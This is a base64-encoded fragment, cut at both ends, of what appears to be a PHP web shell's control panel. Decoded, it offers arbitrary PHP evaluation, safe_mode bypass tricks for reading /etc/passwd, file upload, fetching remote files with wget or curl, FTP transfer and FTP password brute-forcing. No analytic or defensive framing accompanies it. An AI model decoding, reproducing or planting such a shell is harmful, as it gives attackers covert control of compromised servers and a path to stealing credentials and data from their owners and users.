dKTooIjA3NzciKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NoXycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NCddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU1J10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCdtIGlkPW0nLDAsJzEnKS5pbigndGV4dCcsJ3NfbWFzaycsODIsJy50eHQ7LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2VhcmNoX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKCEkc2FmZV9tb2RlICYmICR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NiddLCdpZDgnKS4kdGFibGVfdXAyLmRpdignaWQ4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDczJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfbWFzaycsODUsJyouW2hjXScpLndzKDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NSddLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2ZpbmRfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkOScpLiR0YWJsZV91cDIuJGZvbnQ7DQplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQ5JykuIjx0ZXh0YXJlYSBuYW1lPXBocF9ldmFsIGNvbHM9MTAwIHJvd3M9Mz4iOw0KZWNobyAoIWVtcHR5KCRfUE9TVFsncGhwX2V2YWwnXSk/KCRfUE9TVFsncGhwX2V2YWwnXSk6KCIvKiBkZWxldGUgc2NyaXB0ICovXHJcbi8vdW5saW5rKFwiWGdyMHVwVk4ucGhwXCIpO1xyXG4vL3JlYWRmaWxlKFwiL2V0Yy9wYXNzd2RcIik7IikpOw0KZWNobyAiPC90ZXh0YXJlYT4iOw0KZWNobyBpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3BocF9ldmFsJyk7DQplY2hvICI8YnI+Ii53cygxKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pOw0KZWNobyAiPC9kaXY+PC9kaXY+PC9mb250PiI7DQplY2hvICR0YWJsZV9lbmQxLiRmZTsNCmlmKCRzYWZlX21vZGUmJiRjdXJsX29uKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10sJ2lkMTAnKS4kdGFibGVfdXAyLmRpdignaWQxMCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxX2ZpbGUnLDg1LCghZW1wdHkoJF9QT1NUWyd0ZXN0MV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNCddLCdpZDExJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTEnKS4kdHM7DQplY2hvICI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUgYWxpZ249Y2VudGVyPiI7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Ml9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDJfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCg0KDQppZigkc2FmZV9tb2RlJiYkbXNzcWxfb24pDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODUnXSwnaWQxMycpLiR0YWJsZV91cDIuZGl2KCdpZDEzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDRfbWQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tZCddKT8oJF9QT1NUWyd0ZXN0NF9tZCddKTooIm1hc3RlciIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWwnXSk/KCRfUE9TVFsndGVzdDRfbWwnXSk6KCJzYSIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbXAnXSk/KCRfUE9TVFsndGVzdDRfbXAnXSk6KCJwYXNzd29yZCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pPygkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk6KCIxNDMzIikpKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q0X2ZpbGUnXSk6KCJkaXIiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUmJiR1bml4JiZmdW5jdGlvbl9leGlzdHMoJ21iX3NlbmRfbWFpbCcpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTInXSwnaWQyMicpLiR0YWJsZV91cDIuZGl2KCdpZDIyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDVfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDVfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q1Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiZmdW5jdGlvbl9leGlzdHMoJ2ltYXBfbGlzdCcpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTMnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Nl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDZfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDYnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUmJmZ1bmN0aW9uX2V4aXN0cygnaW1hcF9ib2R5Jykpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNCddLCdpZDI0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0N19maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDdfZmlsZSddKT8oJF9QT1NUWyd0ZXN0N19maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDcnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE1J10sJ2lkMjUnKS4kdGFibGVfdXAyLmRpdignaWQyNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OF9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDgnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMiddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMiddKTooJGRpcikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKEBpbmlfZ2V0KCdmaWxlX3VwbG9hZHMnKSl7DQplY2hvICI8Zm9ybSBuYW1lPXVwbG9hZCBtZXRob2Q9UE9TVCBFTkNUWVBFPW11bHRpcGFydC9mb3JtLWRhdGE+IjsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUnXSwnaWQxNCcpLiR0YWJsZV91cDIuZGl2KCdpZDE0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZScsODUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCduZjEgaWQ9bmYxJywwLCcxJykuaW4oJ3RleHQnLCduZXdfbmFtZScsODIsJycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZighJHNhZmVfbW9kZSYmJHVuaXgpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE1J10sJ2lkMTUnKS4kdGFibGVfdXAyLmRpdignaWQxNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ3aXRoXCI+PG9wdGlvbiB2YWx1ZT1cIndnZXRcIj53Z2V0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImZldGNoXCI+ZmV0Y2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwibHlueFwiPmx5bng8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwibGlua3NcIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJjdXJsXCI+Y3VybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJHRVRcIj5HRVQ8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3JlbV9maWxlJyw3OCwnaHR0cDovLycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJywxMDUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODYnXSwnaWQxNicpLiR0YWJsZV91cDIuZGl2KCdpZDE2JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZF9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkb3dubG9hZF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNCddKSk7DQokYXJoID0gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkyJ107DQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnemlwJykuJyB6aXAnOyAgIH0NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpICAgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdnemlwJykuJyBnemlwJzsgfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ2J6aXAnKS4nIGJ6aXAnOyB9DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MSddLiRhcnJvdy4iPC9iPiIsaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ25vbmUnLDEpLicgJy4kYXJoKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoImZ0cF9jb25uZWN0Iikpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTMnXSwnaWQxNycpLiR0YWJsZV91cDIuZGl2KCdpZDE3JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg3J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfZmlsZScsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9maWxlJ10pPygkX1BPU1RbJ2Z0cF9maWxlJ10pOigiL2Z0cC1kaXIvZmlsZSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2ZpbGVfZG93bicpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJyw0NSwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uPkZUUF9CSU5BUlk8L29wdGlvbj48b3B0aW9uPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE0J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAwJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1NUWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9maWxlX3VwJykpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9ZnRwX21vZGU+PG9wdGlvbj5GVFBfQklOQVJZPC9vcHRpb24+PG9wdGlvbj5GVFBfQVNDSUk8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9icnV0ZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ3Bhc3N3ZCcsMSkuIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk5J10uIiAoIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2Vycyc+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOw0KZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnLDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7DQplY2hvIHNyKDI1LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwnZGljJywwKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI5J10pOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2xvZ2luJywwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigicm9vdCIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnknLDAsKCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnknXSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRpci4ncGFzc3cuZGljJykpKSk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygibWFpbCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMiddLCdpZDE5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTknKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRl